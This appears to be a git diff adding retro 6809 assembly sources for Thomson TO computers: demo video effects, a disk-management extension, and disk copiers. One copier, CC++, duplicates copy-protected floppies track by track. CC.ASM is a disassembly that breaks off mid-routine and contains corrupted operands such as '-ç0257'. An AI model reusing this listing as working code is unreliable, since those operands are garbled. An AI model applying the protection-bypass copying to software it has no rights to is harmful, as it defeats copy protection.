+       STB    <$DB
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+       CMPX   #FINCOP
+       BEQ    PROG
+       LDD    1,X
+       MUL
+       LDB    <$C8
+       BITB   #1
+       BEQ    GENIE
+
+       LDS    #0
+RDP    LDA    #0
+       TFR    A,DP
+       CLR    $E7DD
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       RTS
+
+PROG   LDD    ,U++
+       MUL
+
+* un nbre de cycles multiple de 64
+       LDU    #FINCOP
+       PULU   A,B,DP,X,Y,S
+       LDU    #FINCOP
+       PSHU   S,Y
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+       FDB    $367E,$367E,$367E,$367E
+YEAH   LDX    #SINUS
+       LDS    #PALETS
+       LDD    #TUBE*256+DIR
+       TFR    B,DP
+       STA    <Z
+PIPE   LDU    ,X
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+       FDB    $3526,$3626,$3526,$3626
+CNT1   FCB    48,136,PAS
+       DEC    <Z
+       BNE    PIPE
+CNT2   LEAX   -TUBE*PAS,X
+       LEAX   SPEED,X
+       CMPX   #FINSIN
+       BLO    *+8
+       LEAX   SINUS-FINSIN,X
+       BRA    *+3
+       MUL
+       LDD    $E7CC
+       BITA   #1
+       BEQ    IPAS
+       BITA   #2
+       BEQ    DPAS
+       BITA   #8
+       BEQ    ISPE
+       BITA   #4
+       BEQ    DSPE
+       BITB   #64
+       BEQ    FIRE
+       ADDD   [,X++]
+       ADDD   [D,X]
+       ADDD   1,X
+       JMP    JOIN
+FIRE   LDD    YEAH+5
+       CMPD   #FINPAL
+       BNE    *+7
+       LDD    #PALETS
+       BRA    *+6
+       ADDD   #TUBE*64
+       NOP
+       STD    YEAH+5
+       ADDD   1,X
+       BRA    JOIN
+IPAS   LDB    CNT1+2
+       CMPB   #50
+       BNE    *+6
+       FDB    $1212
+       BRA    *+7
+       ADDB   #2
+       STB    CNT1+2
+       BRA    ROUT1
+DPAS   LDB    CNT1+2
+       BNE    *+6
+       FDB    $1212
+       BRA    *+7
+       SUBB   #2
+       STB    CNT1+2
+ROUT1  LDA    #TUBE
+       MUL
+       STD    <Z
+       LDD    #0
+       SUBD   <Z
+       STD    CNT2+2
+       BRA    JOIN
+ISPE   LDB    CNT2+5
+       CMPB   #14
+       BNE    *+6
+       FDB    $1212
+       BRA    *+7
+       ADDB   #2
+       STB    CNT2+5
+       BRA    ROUT2
+DSPE   LDB    CNT2+5
+       BNE    *+6
+       FDB    $1212
+       BRA    *+7
+       SUBB   #2
+       STB    CNT2+5
+ROUT2  MUL
+       MUL
+       LDA    ,X
+
+JOIN   STX    YEAH+1
+       TST    <Z+8
+       BNE    WECHS
+       DEC    <Z+9
+       BNE    *+6
+       INC    <Z+8
+       BRA    *+4
+       LDD    D,X
+       EXG    A,B
+       LDB    #27
+       NOP
+       NOP
+       DECB
+       BNE    *-3
+       JMP    BOTTOM
+WECHS  LDX    <Z+2
+       LDB    ,X+
+       CMPX   #FINTEX
+       BNE    *+7
+       LDX    #TEXTE
+       BRA    *+4
+       BRA    *-2
+       STX    <Z+2
+       LDS    #FONTES
+       LDA    #28
+       MUL
+       LDY    <Z+4
+       LEAS   D,S
+       PULS   D,X,U
+       STD    -120,Y
+       STX    -80,Y
+       STU    -40,Y
+       PULS   D,X,U
+       STD    ,Y
+       STX    40,Y
+       STU    80,Y
+       PULS   D,X,U
+       STD    120,Y
+       LEAY   7*40,Y
+       STX    -120,Y
+       STU    -80,Y
+       PULS   D,X,U
+       STD    -40,Y
+       STX    ,Y
+       STU    40,Y
+       PULS   D,X
+       STD    80,Y
+       STX    120,Y
+       LEAX   -7*40+2,Y
+       CMPX   #SCROL+40
+       BNE    SAMELI
+       LDX    #SCROL
+       STX    <Z+4
+       LDD    <Z+6
+       EXG    A,B
+       STD    <Z+6
+       STA    $E7DD
+       ROLB
+       ROLA
+       ROLB
+       ROLA
+       ANDA   #3
+       STA    $E7E5
+       LDD    #WART
+       STD    <Z+8
+       BRA    BOTTOM
+SAMELI STX    <Z+4
+       MUL
+       MUL
+       MUL
+       MUL
+       LDD    ,X++
+BOTTOM LDB    #5
+       DECB
+       BNE    *-1
+
+       LDA    #$E7
+       TFR    A,DP
+
+* fin des 64*0 cycles
+
+       LDX    #COPPER
+       JMP    GENIE
+
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+PAL    FDB    16,256*7,-256
+       FDB    1,16*7,-16
+       FDB    256,7,-1
+       FDB    256,16*7,-16
+       FDB    16,7,-1
+       FDB    1,256*7,-256
+       FDB    $FFFF
+
+       END
diff --git a/code/3rdparty/sources2-hcl/VIDEO.ASM b/code/3rdparty/sources2-hcl/VIDEO.ASM
new file mode 100644
index 0000000..16a135d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/VIDEO.ASM
@@ -0,0 +1,122 @@
+****************************************
+*              V I D E O               *
+*   Aujourd'hui j'ai fait joujou avec  *
+*  $E7E7, et c'est follement amusant.  *
+*                                      *
+*  Un tube qui déforme l'écran là où   *
+* il passe ? (Joystick0) It's ovcourse *
+* another cool trick from Doctor Lô !  *
+****************************************
+
+       ORG    $9000
+RGB    EQU    $100
+
+G      ORCC   #80
+       PSHS   DP
+       LDA    #$E7
+       TFR    A,DP
+
+       LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDX    #1598
+       LEAX   -1,X
+       BNE    *-2
+
+       LDB    #$5C    France
+       LDA    #$7C    Export
+
+GOON   STA    <$E7
+
+       LDX    #12
+LIGHT  CLRA           2
+       STA    <$DB    4
+       LDD    #RGB    3
+       STB    <$DA    4
+       STA    <$DA    4
+       ADDD   #RGB    4
+       STD    LIGHT+4 6
+       MUL            11
+       MUL            11
+       LDA    1,X     5
+       LDA    #$5C    2
+       LEAX   -1,X    5
+       BNE    LIGHT   3
+
+       STA    <$E7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       NOP
+       LDX    #11
+DARK   CLRA           2
+       STA    <$DB    4
+       LDD    #10*RGB 3
+       STB    <$DA    4
+       STA    <$DA    4
+       SUBD   #RGB    4
+       STD    DARK+4  6
+       MUL            11
+       MUL            11
+       LDA    1,X     5
+       LDA    #$7C    2
+       LEAX   -1,X    5
+       BNE    DARK    3
+
+       LDX    #RGB
+       STX    LIGHT+4
+       LDX    #10*RGB
+       STX    DARK+4
+       LDB    1,X
+       LDX    #2296
+       LDB    <$CC
+       BITB   #1
+       BEQ    *+5
+       NOP
+       BRA    *+4
+       LEAX   -8,X
+       BITB   #2
+       BEQ    *+5
+       NOP
+       BRA    *+4
+       LEAX   8,X
+       LEAX   -1,X
+       BNE    *-2
+       LDB    <$C8
+       BEQ    GOON
+
+RDP
+       CLRA
+       LDX    #0
+       LEAY   ,X
+       JSR    $EC00
+       PULS   DP
+       SWI
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/Advanced Disk Gesting.ASM b/code/3rdparty/sources3-lambinet/Advanced Disk Gesting.ASM
new file mode 100644
index 0000000..82fb7cc
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Advanced Disk Gesting.ASM
@@ -0,0 +1,327 @@
+***************************************
+******* Advenced Disks Gesting ********
+******** Micromédia  Systèmes *********
+***************************************
+
+
+************** EQUATES ****************
+
+PUTC   EQU    $E803
+GETC   EQU    $E806
+KTST   EQU    $E809
+DKCO   EQU    $E82A
+COMS   EQU    $EC03
+EXTR   EQU    $EC0C
+DIRR   EQU    $3FC1
+SAISIE EQU    $3FC4
+INDGET EQU    $600A
+DEFTXT EQU    $61E0
+TYPDSK EQU    $6219
+FILNAM EQU    $624F
+FILCOM EQU    $628E
+IWTFLG EQU    $62A9
+
+************** PROGRAM ****************
+
+       ORG    $9000
+DEBUT  PSHS   U,Y,X,DP,A,CC
+       LEAX   ADGGET,PCR
+       CMPX   INDGET
+       BEQ    FINDEB
+       LDX    INDGET
+       STX    ADGGET+3,PCR
+       LEAX   TXT0,PCR
+       BSR    AFFICH
+       BRA    SOR
+REARM  LDB    #$0C
+       JSR    PUTC
+SOR    CLRB
+       LEAX   ADGGET,PCR
+       STX    INDGET
+FINDEB PULS   CC,A,DP,X,Y,U,PC
+AFFICH LDB    ,X+
+       CMPB   #00
+       BEQ    FINAFF
+       JSR    PUTC
+       BRA    AFFICH
+FINAFF RTS
+SORTIE LDX    ADGGET+3,PCR
+       STX    INDGET
+       LEAX   TXT1,PCR
+       BSR    AFFICH
+FINSOR PULS   CC,A,DP,X,Y,U,PC
+ADGGET PSHS   U,Y,X,DP,A,CC
+       JSR    $FF92
+F0     CMPB   #$90
+       BNE    F1
+       LEAX   TXT2,PCR
+       BRA    COMDIR  COMMANDE DIRECTE
+F1     CMPB   #$91
+       BNE    F3
+       LEAX   TXT3,PCR
+COMDIR STX    DEFTXT
+       CLR    IWTFLG
+       CLRB
+       PULS   CC,A,DP,X,Y,U,PC
+EXIT   LEAX   TXT2-7,PCR
+       BSR    AFFICH
+       CLRB
+       PULS   CC,A,DP,X,Y,U,PC
+F3     CMPB   #$92
+       BNE    F5
+       LBSR   CONT3P
+       BRA    EXIT
+F5     CMPB   #$94
+       BNE    F6
+       LBSR   CONT5P
+       BRA    EXIT
+F6     CMPB   #$95
+       BEQ    SORTIE
+F4     CMPB   #$93
+       BEQ    COPY
+       PULS   CC,A,DP,X,Y,U,PC
+COPY   LDX    ADGGET+3,PCR
+       STX    INDGET
+       LEAX   TXT4,PCR
+       BSR    AFFICH
+INPUTT JSR    GETC
+       CMPB   #$33
+       BNE    T5
+       JSR    PUTC
+       LBSR   CONT3P
+       BRA    L1
+T5     CMPB   #$35
+       BNE    INPUTT
+       JSR    PUTC
+       LBSR   CONT5P
+L1     LEAX   TXT5,PCR
+       LBSR   AFFICH
+INPUTL JSR    GETC
+       CMPB   #$30
+       BLO    INPUTL
+       CMPB   #$34
+       BHI    INPUTL
+       BNE    PRINTL
+       LDA    TYPDSK
+       CMPA   #$02
+       BNE    INPUTL
+PRINTL JSR    PUTC
+       STB    TAMPON+6,PCR
+       SUBB   #$30
+       STB    $6049
+       LDX    #FILNAM
+       LDA    #$0C
+INIFI1 CLR    ,X+
+       DECA
+       BNE    INIFI1
+       LDD    #$0820
+INIFI2 STB    ,X+
+       DECA
+       BNE    INIFI2
+       LDA    #$7E
+       STA    ,X+
+       LEAU   CATRED,PCR
+       STU    ,X
+       LEAX   ADGGET,PCR
+       STX    INDGET
+       LEAX   TXT9,PCR
+       LBRA   COMDIR
+
+*************************
+*                       *
+*   Catalogue  réduit   *
+*                       *
+*************************
+
+CATRED PSHS   U,Y,X,DP,A,CC
+       LEAX   TXT7,PCR
+       LBSR   AFFICH
+       LDA    $618C
+       DECA
+       STA    $E7E5
+       LDA    $603B
+       ANDA   #$78
+       LSRA
+       LSRA
+       LSRA
+       BITA   #$08
+       BNE    SAT
+       ORA    #$08
+       BRA    COLOR
+SAT    ANDA   #$07
+COLOR  STA    $619F
+       LDA    #$FF
+       STA    $6288
+       LDA    #$00
+       STA    $61A0
+       LDX    #$A000
+       LDY    #$1700
+       LDA    #$03
+       LDU    #DIRR
+       JSR    COMS
+       TSTB
+       LBNE   REARM
+RTCOP  LEAY   TAMPON,PCR
+       LDX    #$0C43
+       STX    ,Y++
+       LDX    #$4F50
+       STX    ,Y++
+       LDX    #$5922
+       STX    ,Y++
+       LEAY   1,Y
+       LDX    #FILNAM
+       LDD    #$3A08
+       STA    ,Y+
+COPNOM LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COPNOM
+       LDD    #$2E03
+       STA    ,Y+
+COPSUF LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COPSUF
+       LDA    #$22
+       STA    ,Y+
+       LDX    #$0D00
+       STX    ,Y
+       LEAX   AUTO,PCR
+       STX    INDGET
+       PULS   CC,A,DP,X,Y,U,PC
+
+********************************
+*                              *
+*  AUTO (Reprise automatique   *
+*  en fin de Catalogue réduit  *
+*                              *
+********************************
+
+AUTO   PSHS   U,Y,X,DP,A,CC
+       LEAX   AUTO2,PCR
+       STX    INDGET
+       LEAX   TAMPON,PCR
+       LBRA   COMDIR
+
+********************************
+*                              *
+*  AUTO2 (Reprise automatique  *
+*  lors de l'Insert a disk ... *
+*                              *
+********************************
+
+AUTO2  PSHS   U,Y,X,DP,A,CC
+       LDX    $09,S
+       CMPX   #$3D19
+       BEQ    CONT
+       LEAS   $1D,S
+       LBRA   REARM
+CONT   LDX    ADGGET+3,PCR
+       STX    INDGET
+       LEAX   TXT4,PCR
+       LBSR   AFFICH
+       LEAX   TXT6,PCR
+       LBSR   AFFICH
+INPU2T JSR    GETC
+       CMPB   #$33
+       BNE    T52
+       JSR    PUTC
+       LBSR   CONT3P
+       BRA    L2
+T52    CMPB   #$35
+       BNE    INPU2T
+       JSR    PUTC
+       LBSR   CONT5P
+L2     LEAX   TXT5,PCR
+       LBSR   AFFICH
+INPU2L JSR    GETC
+       CMPB   #$30
+       BLO    INPU2L
+       CMPB   #$34
+       BHI    INPU2L
+       BNE    PRIN2L
+       LDA    TYPDSK
+       CMPA   #$02
+       BNE    INPU2L
+PRIN2L JSR    PUTC
+       SUBB   #$30
+       STB    LECT+1,PCR
+       STB    $6049
+       LDX    #FILCOM
+       LDY    #FILNAM+11
+       LDB    #8
+COMMEN LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COMMEN
+       LEAX   TXT8,PCR
+       LBSR   AFFICH
+       LDA    $618C
+       DECA
+       STA    $E7E5
+       LDX    #$A000
+       LDY    #$1700
+       LDA    #$03
+       LDU    #SAISIE
+       JSR    COMS
+       TSTB
+       LBNE   REARM
+       LDX    #FILNAM
+       LEAY   $11,S
+       LDB    #$13
+COPFIL LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COPFIL
+LECT   LDA    #0
+       STA    ,Y
+       LEAX   ADGGET,PCR
+       STX    INDGET
+       LEAX   TXT10,PCR
+       LBSR   AFFICH
+       LDB    #$0D
+       PULS   CC,A,DP,X,Y,U,PC
+CONT3P PSHS   U,Y,X,DP,B,A,CC
+       LDA    TYPDSK
+       CMPA   #$02
+       BEQ    FINCON
+       LDD    #$0254
+       BRA    MODCON
+CONT5P PSHS   U,Y,X,DP,B,A,CC
+       LDA    TYPDSK
+       CMPA   #$01
+       BEQ    FINCON
+       LDD    #$01D4
+MODCON STA    TYPDSK
+       STB    $E7E7
+       LDD    #$0100
+       STD    $6048
+       JSR    DKCO
+       LDA    #$02
+       STA    $604D
+ESSAI2 LDD    #$4014
+       STA    $6048
+       STB    $604B
+       JSR    DKCO
+       TST    $604E
+       BEQ    FINCON
+       DEC    $604D
+       BEQ    FINCON
+       LDA    #$20
+       STA    $6048
+       JSR    DKCO
+       BRA    ESSAI2
+FINCON PULS   CC,A,B,DP,X,Y,U,PC
+TAMPON RMB    $20
+TXT0   RMB    $69
+TXT1   RMB    $28
+TXT2   RMB    $A
+TXT3   RMB    $A
+TXT4   RMB    $4D
+TXT5   RMB    $22
+TXT6   RMB    $D
+TXT7   RMB    $5
+TXT8   RMB    $4
+TXT9   RMB    $D
+TXT10  RMB    $4
+       END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/CC++.ASM b/code/3rdparty/sources3-lambinet/Copiers/CC++.ASM
new file mode 100644
index 0000000..561993e
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/CC++.ASM
@@ -0,0 +1,306 @@
+* CC++ PAR MICHEL SAINT-BRIANT
+* Pour copie de disquettes TO
+
+RETOUR EQU    $6AF9   (=X% EN BASIC 512)
+ORIGIN EQU    $6ABA   (=O% EN BASIC 512)
+DESTIN EQU    $6A6D   (=D% EN BASIC 512)
+PISTE  EQU    $6AC1   (=P% EN BASIC 512)
+
+       ORG    $8000
+
+*VERIFIER DISK-ORIGIN. PROTEGE
+*un EXEC analyse la disquette dans le
+*lecteur ORIGIN (O% sous BASIC512) et
+*retourne dans la variable X% l'état du
+*lecteur:
+*         X%=0 -> OK=disquette protégée
+*         X%=255 -> disquette non prot.
+*         X%=254 -> lecteur vide.
+
+VERPRO PSHS   A,B,DP,CC,X,Y,U
+       CLR    RETOUR
+       LDA    ORIGIN
+       STA    >$6049
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E452
+       BCS    NOPRET
+       LDA    1,X
+       BITA   #$04
+       BNE    FINVER
+       BRA    INCORR
+
+*VERIFIER DISK-DESTIN. NON PROTEGE
+*un EXEC analyse la disquette dans le
+*lecteur DESTIN (D% sous BASIC512) et
+*retourne dans la variable X% l'état du
+*lecteur:
+*         X%=0 -> OK=disq. non protégée
+*         X%=255 -> disquette protégée.
+*         X%=254 -> lecteur vide.
+
+VERNON PSHS   A,B,DP,CC,X,Y,U
+       CLR    RETOUR
+       LDA    DESTIN
+       STA    >$6049
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E452
+       BCS    NOPRET
+       LDA    1,X
+       BITA   #$04
+       BEQ    FINVER
+INCORR DEC    RETOUR
+FINVER LDA    #$40
+       STA    2,X
+       CLR    ,X
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+NOPRET LDA    #254
+       STA    RETOUR
+       BRA    FINVER
+
+* COPIE D'UNE PISTE EN ABSOLUE FIDELITE
+* Lit la piste P% du lecteur O% et
+* stocke le résultat dans la banque
+* courante depuis $A200 et restructure
+* les signaux.
+
+AF     PSHS   A,B,DP,CC,X,Y,U
+       JSR    $E09D
+       LDA    #2
+       LDB    ORIGIN
+       STD    <$48
+       LDA    PISTE   PISTE=P (P%)
+       STA    <$4B
+       JSR    $E0A7
+       JSR    $E452
+       JSR    $E341
+       LDB    #$1B
+       JSR    $E394
+       LDD    #$E718
+       TFR    A,DP
+       STB    <$D0
+       LDA    >$6057
+       ORA    #4
+       STA    <$D2
+       LDX    #$A000
+       LDU    #$FFFF
+       LDA    #0
+PREPA  STU    ,X++
+       DECA
+       BNE    PREPA
+       LDA    #$40
+ATTL0  BITA   <$D1
+       BEQ    ATTL0
+ATTL1  BITA   <$D1
+       BNE    ATTL1
+       LDA    <$D3
+ATTL3  LDB    <$D0
+       BPL    ATTL3
+       LDA    <$D3
+       ANDB   #1
+       STD    ,X++
+       LDA    <$D1
+       BITA   #$40
+       BEQ    ATTL3
+       CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       LDA    #$FE
+       STA    1,X
+
+* ON MET A 4E LES PREMIERS OCTETS
+
+       LDY    #$A200
+       LDA    #$4E
+PREM1  LDB    1,Y
+       BNE    POSE
+       STA    ,Y++
+       BRA    PREM1
+
+* ON POSE DES CODES FE POUR STOPPER
+
+POSE   LDB    #$FE
+       STB    1,X
+       LEAX   1,X
+STOP   LDA    ,--X
+       BMI    FINLIR
+       BEQ    STOP
+       LEAX   1,X
+       STB    7,X
+       STB    9,X
+       STB    11,X
+       STB    13,X
+       STB    15,X
+
+* ON RESTITUE LES CODES A1 (+ LES 00) EN
+* RECTIFIANT LE NOMBRE DE CODES A1 POUR
+* LES SYNCHROS (3 POUR TO8/8D/9+ ET 2
+* SEULEMENT POUR LES ATARI ST ET PC720K)
+
+
+REST0  LEAX   1,X
+REST1  LDA    ,--X
+       BMI    FINLIR
+       BEQ    REST1
+       LEAX   1,X
+       LDA    #3      <---- nombre de A1
+       LDU    #$A10A
+REST2  STU    ,--X
+       DECA
+       BNE    REST2
+       LDU    #$0000
+       LDA    #$0C
+REST3  STU    ,--X
+       DECA
+       BNE    REST3
+       BRA    REST0
+
+FINLIR PULS   A,B,CC,DP,X,Y,U,PC
+
+* ON ECRIT LA PISTE RESTRUCTUREE
+* sur piste P% du lecteur D% depuis la
+* banque courante ($A200 ...)
+
+       PSHS   A,B,CC,DP,X,Y,U
+       JSR    $E09D
+       LDA    #$40
+       LDB    DESTIN
+       STD    <$48
+       LDA    PISTE
+       STA    <$4B
+       JSR    $E004
+       CLR    <$48
+       JSR    $E0A7
+       JSR    $E45A
+       LDB    #$18
+       JSR    $E394
+       JSR    $E341
+       LDA    #$E7
+       TFR    A,DP
+ATTI0  LDA    <$D3
+       LDA    <$D0
+       BPL    ATTI0
+ATTI1  LDA    <$D0
+       BPL    ATTI1
+       LDD    #0
+       STD    <$D3
+       LDD    #$4004
+       STB    <$D0
+INDEX0 BITA   <$D1
+       BEQ    INDEX0
+INDEX1 BITA   <$D1
+       BNE    INDEX1
+       LDX    #$A200
+ATTE0  LDA    <$D3
+       LDA    <$D0
+       BPL    ATTE0
+ATTE1  LDA    <$D0
+       BPL    ATTE1
+       LDD    #$4EFF
+       STD    <$D3
+       LDB    #$04
+       STB    <$D0
+ATTE2  LDB    <$D0
+       BPL    ATTE2
+       LDD    ,X++
+       TSTB
+       BMI    FINI
+       BNE    DEBSIG  DEBUT DE SIGNAL
+       STA    <$D3
+       BRA    ATTE2
+DEBSIG STD    <$D3
+ATTE3  LDB    <$D0
+       BPL    ATTE3
+       LDD    ,X++
+       TSTB
+       BMI    FINI
+       BEQ    FINSIG
+       STA    <$D3
+       BRA    ATTE3
+FINSIG LDB    #$FF
+       STD    <$D3
+       BRA    ATTE2
+FINI   STA    <$D3
+ATTE4  LDD    <$D0
+       BPL    ATTE4
+       LDA    ,X++
+       STA    <$D3
+       BITB   #$40
+       BEQ    ATTE4
+       CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+* COPIE D'UNE PISTE EN FIDELITE NORMALE
+* copie du type BACKUP sans formatage.
+* depuis lecteur O% vers lecteur D% pour
+* la piste P% ;en retour on peut lire X%
+*       X%=0    Tout est OK
+*       X%=255  Lecture impossible
+*       X%=254  Ecriture impossible
+
+FN     PSHS   A,B,DP,CC,X,Y,U
+       CLR    RETOUR
+       LDA    #$60
+       TFR    A,DP
+       LDA    ORIGIN
+       STA    <$49
+       LDA    PISTE
+       STA    <$4B
+       LDX    #$A000
+       STX    <$4F
+C1010  LDA    #1
+       STA    <$4C
+C1020  LDA    #2      <-nbre de tentati-
+       STA    FOIS     \ves de lecture.
+C1030  LDA    #2
+       STA    <$48
+       JSR    $E004
+       BCC    C1040
+       DEC    FOIS
+       BNE    C1030
+       COM    RETOUR
+       BRA    FINFN
+C1040  INC    <$4F
+       LDA    <$4C
+       ADDA   #5      <-un facteur de 5
+       CMPA   #16      \pour un entre-
+       BLS    C1050     lacement de 7.
+       SUBA   #16
+C1050  STA    <$4C
+       CMPA   #1
+       BNE    C1020
+       LDA    DESTIN
+       STA    <$49
+       LDX    #$A000
+       STX    <$4F
+C2010  LDA    #1
+       STA    <$4C
+C2020  LDA    #2      <-nbre de tentati-
+       STA    FOIS     \ves d'écriture
+C2030  LDA    #8
+       STA    <$48
+       JSR    $E004
+       BCC    C2040
+       DEC    FOIS
+       BNE    C2030
+       LDA    #254
+       STA    RETOUR
+       BRA    FINFN
+C2040  INC    <$4F
+       LDA    <$4C
+       ADDA   #5      <-facteur de 5
+       CMPA   #16
+       BLS    C2050
+       SUBA   #16
+C2050  STA    <$4C
+       CMPA   #1
+       BNE    C2020
+FINFN  PULS   A,B,DP,CC,X,Y,U,PC
+
+FOIS   FCB    0
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/CC.ASM b/code/3rdparty/sources3-lambinet/Copiers/CC.ASM
new file mode 100644
index 0000000..5133b18
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/CC.ASM
@@ -0,0 +1,1255 @@
+C0000  BSR    C0010
+       LBRA   C0150
+C0010  PSHS   B
+       PSHS   X
+       LDB    #$1B
+       JSR    $E803
+       LDB    #$41
+       JSR    $E803
+       LDB    #$1F
+       JSR    $E803
+       PULS   B
+       JSR    $E803
+       PULS   B
+       JSR    $E803
+       PULS   B
+       CLRA   
+       STD    >$6150
+       BEQ    C0030
+       LDA    #$02
+       STA    >$6105
+       LDY    #$6150
+       CLR    >$617C
+       LDB    #$42
+       JSR    $EC0C
+       LDX    #$6155
+C0020  LDB    ,X+
+       BEQ    C0040
+       CMPB   #$20
+       BLS    C0020
+       JSR    $E803
+       BRA    C0020
+C0030  LDB    #$30
+       JSR    $E803
+C0040  RTS    
+       LDY    #$00FF
+       LDA    #$01
+       JSR    $EC00
+       LDB    #$80
+       PSHS   B
+C0050  DEC    ,S
+       BEQ    C0090
+       LDX    #$0BBB
+C0060  LEAX   -1,X
+       BNE    C0060
+       LDX    #$FFFF
+       LDY    #$0000
+       LDA    #$01
+       JSR    $EC00
+       CMPX   #$F000
+       BNE    C0070
+       LDD    #$0011
+       STD    >$8428
+C0070  CMPX   #$F0FF
+       BNE    C0080
+       LDD    #$FFEF
+       STD    >$8428
+C0080  TFR    X,D
+       ADDD   >$8428
+       TFR    D,X
+       CLRA   
+       TFR    D,Y
+       LDA    #$01
+       JSR    $EC00
+       BRA    C0050
+C0090  LDX    #$F0FF
+       LDY    #$00FF
+       LDA    #$01
+       JSR    $EC00
+       PULS   B
+       RTS    
+C0100  BSR    C0130
+       LDA    >$E7C3
+       ANDA   #$FE
+       STA    >$E7C3
+       LDX    #$5E27
+       LDD    #$04C8
+C0110  STB    ,X
+       LEAX   <$28,X
+       DECA   
+       BNE    C0110
+       LDA    >$E7C3
+       ORA    #$01
+       STA    >$E7C3
+       LDX    #$5E27
+       LDD    #$0310
+C0120  STB    ,X
+       LEAX   <$28,X
+       DECA   
+       BNE    C0120
+       LDB    #$F0
+       STB    ,X
+       RTS    
+C0130  LDB    ,U+
+       BEQ    C0140
+       JSR    $E803
+       BRA    C0130
+C0140  RTS    
+C0150  JSR    $E806
+       BCS    C0150
+       LDX    #$F0FF
+       LDY    #$00FF
+       LDA    #$01
+       JSR    $EC00
+C0160  LDX    #$0BBB
+C0170  LEAX   -1,X
+       BNE    C0170
+       LDX    #$FFFF
+       LDY    #$0000
+       LDA    #$01
+       JSR    $EC00
+       CMPX   #$F000
+       BNE    C0180
+       LDD    #$0011
+       STD    >$8428
+C0180  CMPX   #$F0FF
+       BNE    C0190
+       LDD    #$FFEF
+       STD    >$8428
+C0190  TFR    X,D
+       ADDD   >$8428
+       TFR    D,X
+       CLRA   
+       TFR    D,Y
+       LDA    #$01
+       JSR    $EC00
+       JSR    $E809
+       BCC    C0160
+       JSR    $E806
+       LDX    #$F0FF
+       LDY    #$00FF
+       LDA    #$01
+       JSR    $EC00
+       RTS    
+C0200  LDU    #C2180    #$7700
+       LBSR   C0100
+C0210  BSR    C0150
+       ANDB   #$DF
+C0220  CMPB   #$48
+       BHI    C0210
+       CMPB   #$41
+       BLT    C0210
+       SUBB   #$41
+       ASLB   
+       ASLB   
+       ASLB   
+       PSHS   B
+       LDA    #$50
+       MUL    
+       ADDD   #$4703
+       TFR    D,U
+       LDA    >$E7C3
+       ORA    #$01
+       STA    >$E7C3
+       LDD    #$1F0F
+C0230  STA    ,U
+       LEAU   <$28,U
+       DECB   
+       BNE    C0230
+       LEAU   >-ç0257,U
+       LDD    #$FF0F
+C0240  STA    ,U
+       LEAU   <$28,U
+       DECB   
+       BNE    C0240
+       LEAU   >-ç0257,U
+       LDB    #$0F
+C0250  COM    ,U
+       LEAU   <$28,U
+       DECB   
+       BNE    C0250
+       LEAU   >-ç0257,U
+       LDD    #$FF0F
+C0260  STA    ,U
+       LEAU   <$28,U
+       DECB   
+       BNE    C0260
+       LEAU   >-ç0257,U
+       LDD    #$F00F
+C0270  STA    ,U
+       LEAU   <$28,U
+       DECB   
+       BNE    C0270
+       PULS   B
+       LDU    #$83C0
+       LEAU   B,U
+       LDX    #$8412
+       LDB    #$07
+C0280  LDA    ,U+
+       STA    ,X+
+       DECB   
+       BNE    C0280
+       LDA    >$8412
+       BNE    C0290
+       LDU    #$7922
+       LBSR   C0130
+       LDB    >$8400
+       LDX    #$574B
+       LBSR   C0000
+C0290  LDU    #$795C
+       LBSR   C0130
+C0300  LBSR   C0150
+       CMPB   #$30
+       BLT    C0300
+       CMPB   #$39
+       BHI    C0300
+       JSR    $E803
+       SUBB   #$30
+       STB    >$8401
+       LDA    #$0A
+       MUL    
+       STB    >$840B
+C0310  LBSR   C0150
+       CMPB   #$0D
+       BEQ    C0320
+       CMPB   #$30
+       BLT    C0310
+       CMPB   #$39
+       BHI    C0310
+       JSR    $E803
+       SUBB   #$30
+       ADDB   >$840B
+       STB    >$8401
+C0320  LDB    >$8412
+       BNE    C0330
+       LDB    >$8401
+       CMPB   >$8400
+       BHI    C0290
+C0330  LDU    #$7988
+       LBSR   C0100
+C0340  LBSR   C0150
+       CMPB   #$4E
+       LBEQ   C0200
+       CMPB   #$6E
+       LBEQ   C0200
+       CMPB   #$4F
+       BEQ    C0350
+       CMPB   #$6F
